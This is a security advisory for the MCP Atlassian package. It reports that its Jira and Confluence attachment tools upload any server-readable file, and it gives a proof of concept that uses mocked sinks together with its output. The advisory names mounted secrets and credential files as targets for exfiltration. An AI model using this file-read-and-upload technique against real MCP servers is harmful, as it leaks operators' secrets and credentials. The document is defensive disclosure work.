PT-2026-105851 · Pypi · Mcp-Attlasian

Published

2026-10-01

·

Updated

2026-10-01

CVSS v3.1

7.1

High

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Summary

MCP Atlassian exposes Jira and Confluence attachment upload tools that accept arbitrary local filesystem paths and upload those file contents to Atlassian. In HTTP or multi-user deployments, an MCP caller who can invoke write tools can cause the server to read any file accessible to the MCP process and send it to Jira/Confluence as an attachment.

Details

The Confluence MCP upload tool accepts a file path described as an absolute or relative server path in src/mcp atlassian/servers/confluence.py:1290-1316 and forwards it directly to confluence fetcher.upload attachment() in src/mcp atlassian/servers/confluence.py:1356-1363. The multi-upload variant accepts comma-separated local paths in src/mcp atlassian/servers/confluence.py:1372-1449.
The Confluence attachment implementation converts relative paths to absolute paths, checks only existence, and then opens the path for upload. There is no call to validate safe path() or any allowed directory check for uploads in src/mcp atlassian/confluence/attachments.py:61-79; the direct upload path opens the file with open(file path, "rb") in src/mcp atlassian/confluence/attachments.py:467-490.
The Jira upload implementation has the same pattern: it converts relative paths, checks existence, and opens the path in src/mcp atlassian/jira/attachments.py:371-388. Jira issue update also accepts an attachments field as JSON or CSV local paths in src/mcp atlassian/servers/jira.py:1609-1662, forwards it through update fields in src/mcp atlassian/servers/jira.py:1668-1676, and IssuesMixin.update issue() calls self.upload attachments(issue key, kwargs["attachments"]) in src/mcp atlassian/jira/issues.py:1132-1137.
The tools are decorated with @check write access, so READ ONLY MODE=true blocks them. However, in default write-enabled deployments, the only security boundary is whether the MCP caller can invoke write tools. Combined with HTTP/multi-user exposure, this becomes a server-side arbitrary file read/exfiltration primitive to the configured Jira/Confluence instance.

PoC

The following proof uses temporary files and mocked upload sinks only. It does not contact Atlassian or modify remote data.
bash
uv run python - <<'PY'
import json, tempfile
from pathlib import Path
from types import SimpleNamespace
from mcp atlassian.confluence.attachments import AttachmentsMixin as ConfluenceAttachmentsMixin
from mcp atlassian.confluence.config import ConfluenceConfig
from mcp atlassian.jira.attachments import AttachmentsMixin as JiraAttachmentsMixin
from mcp atlassian.jira.config import JiraConfig

class FakeResponse:
  def raise for status(self):
    pass
  def json(self):
    return {'results': [{'id': 'att-poc'}]}

class FakeConfluenceSession:
  def  init (self):
    self.uploaded = None
  def put(self, url, headers=None, files=None, data=None):
    file tuple = files['file']
    self.uploaded = {
      'url': url,
      'filename': file tuple[0],
      'content': file tuple[1].read().decode(),
    }
    file tuple[1].close()
    return FakeResponse()

def confluence probe(secret path):
  fetcher = object. new (ConfluenceAttachmentsMixin)
  session = FakeConfluenceSession()
  fetcher.config = ConfluenceConfig(url='https://confluence.example.test/wiki', auth type='pat', personal token='token')
  fetcher.confluence = SimpleNamespace( session=session)
  result = fetcher.upload attachment('123456', str(secret path))
  return {'result success': result.get('success'), 'uploaded': session.uploaded}

class FakeJiraApi:
  def  init (self):
    self.uploaded = None
  def add attachment(self, issue key, filename):
    self.uploaded = {
      'issue key': issue key,
      'filename': Path(filename).name,
      'content': Path(filename).read text(),
    }
    return {'id': 'att-poc'}

def jira probe(secret path):
  fetcher = object. new (JiraAttachmentsMixin)
  fake = FakeJiraApi()
  fetcher.config = JiraConfig(url='https://jira.example.test', auth type='pat', personal token='token')
  fetcher.jira = fake
  result = fetcher.upload attachment('SAFE-1', str(secret path))
  return {'result success': result.get('success'), 'uploaded': fake.uploaded}

with tempfile.TemporaryDirectory(prefix='mcp-atlassian-upload-poc-') as tmp:
  secret path = Path(tmp) / 'server-secret.txt'
  secret path.write text('SERVER LOCAL SECRET MARKER')
  print(json.dumps({
    'confluence': confluence probe(secret path),
    'jira': jira probe(secret path),
  }, indent=2, sort keys=True))
PY
Observed output from this environment:
json
{
 "confluence": {
  "result success": true,
  "uploaded": {
   "content": "SERVER LOCAL SECRET MARKER",
   "filename": "server-secret.txt",
   "url": "https://confluence.example.test/wiki/rest/api/content/123456/child/attachment"
  }
 },
 "jira": {
  "result success": true,
  "uploaded": {
   "content": "SERVER LOCAL SECRET MARKER",
   "filename": "server-secret.txt",
   "issue key": "SAFE-1"
  }
 }
}
The proof demonstrates that attacker-supplied local paths reach file reads and the contents are passed to the upload sink.

Impact

A caller with MCP write-tool access can exfiltrate any file readable by the MCP server process to an Atlassian issue or Confluence page that the configured account can write to. In containerized or server deployments this can include mounted secrets, environment files, OAuth fallback token files, service-account credentials, source code, or other local data. The attack is remote when the MCP server is exposed over HTTP and requires only ability to call the attachment/update write tools.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-4101

Affected Products

Mcp-Attlasian